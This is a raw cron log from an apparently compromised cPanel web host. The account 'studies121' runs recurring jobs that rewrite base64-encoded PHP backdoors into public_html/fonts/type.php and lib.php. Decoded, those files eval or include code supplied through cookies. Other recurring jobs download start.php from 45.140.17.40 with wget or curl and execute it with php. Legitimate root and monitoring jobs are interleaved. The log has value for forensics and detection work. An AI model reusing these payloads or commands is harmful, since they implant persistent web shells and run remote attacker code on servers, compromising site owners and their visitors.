Sep  4 18:15:01 ip-184-168-122-23 CROND[1284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:15:01 ip-184-168-122-23 CROND[1286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:16:02 ip-184-168-122-23 CROND[1443]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 18:16:02 ip-184-168-122-23 CROND[1445]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:16:02 ip-184-168-122-23 CROND[1447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:16:02 ip-184-168-122-23 CROND[1444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:16:02 ip-184-168-122-23 CROND[1449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:16:02 ip-184-168-122-23 CROND[1446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:17:01 ip-184-168-122-23 CROND[1529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:17:01 ip-184-168-122-23 CROND[1530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:17:01 ip-184-168-122-23 CROND[1531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:17:01 ip-184-168-122-23 CROND[1533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:18:01 ip-184-168-122-23 CROND[1690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:18:01 ip-184-168-122-23 CROND[1691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:18:01 ip-184-168-122-23 CROND[1693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:18:01 ip-184-168-122-23 CROND[1692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:18:01 ip-184-168-122-23 CROND[1696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:19:02 ip-184-168-122-23 CROND[1778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:19:02 ip-184-168-122-23 CROND[1779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:19:02 ip-184-168-122-23 CROND[1780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:19:02 ip-184-168-122-23 CROND[1781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:20:01 ip-184-168-122-23 CROND[1869]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:20:01 ip-184-168-122-23 CROND[1867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:20:01 ip-184-168-122-23 CROND[1864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:20:01 ip-184-168-122-23 CROND[1863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:20:01 ip-184-168-122-23 CROND[1865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 18:20:01 ip-184-168-122-23 CROND[1868]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:20:01 ip-184-168-122-23 CROND[1870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:20:01 ip-184-168-122-23 CROND[1871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:20:02 ip-184-168-122-23 CROND[1866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:21:02 ip-184-168-122-23 CROND[1968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:21:02 ip-184-168-122-23 CROND[1970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:21:02 ip-184-168-122-23 CROND[1969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:21:02 ip-184-168-122-23 CROND[1971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:22:01 ip-184-168-122-23 CROND[2050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:22:01 ip-184-168-122-23 CROND[2051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:22:01 ip-184-168-122-23 CROND[2053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:22:01 ip-184-168-122-23 CROND[2054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:22:01 ip-184-168-122-23 CROND[2052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:23:01 ip-184-168-122-23 CROND[2145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:23:01 ip-184-168-122-23 CROND[2144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:23:01 ip-184-168-122-23 CROND[2147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:23:01 ip-184-168-122-23 CROND[2146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:24:01 ip-184-168-122-23 CROND[2326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:24:01 ip-184-168-122-23 CROND[2328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:24:01 ip-184-168-122-23 CROND[2329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:24:01 ip-184-168-122-23 CROND[2331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:24:01 ip-184-168-122-23 CROND[2327]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:25:01 ip-184-168-122-23 CROND[2420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:25:01 ip-184-168-122-23 CROND[2422]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:25:01 ip-184-168-122-23 CROND[2419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:25:01 ip-184-168-122-23 CROND[2421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:25:01 ip-184-168-122-23 CROND[2423]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 18:25:01 ip-184-168-122-23 CROND[2424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:25:01 ip-184-168-122-23 CROND[2425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:26:02 ip-184-168-122-23 CROND[2530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:26:02 ip-184-168-122-23 CROND[2532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:26:02 ip-184-168-122-23 CROND[2534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:26:02 ip-184-168-122-23 CROND[2535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:26:02 ip-184-168-122-23 CROND[2533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:27:02 ip-184-168-122-23 CROND[2622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:27:02 ip-184-168-122-23 CROND[2624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
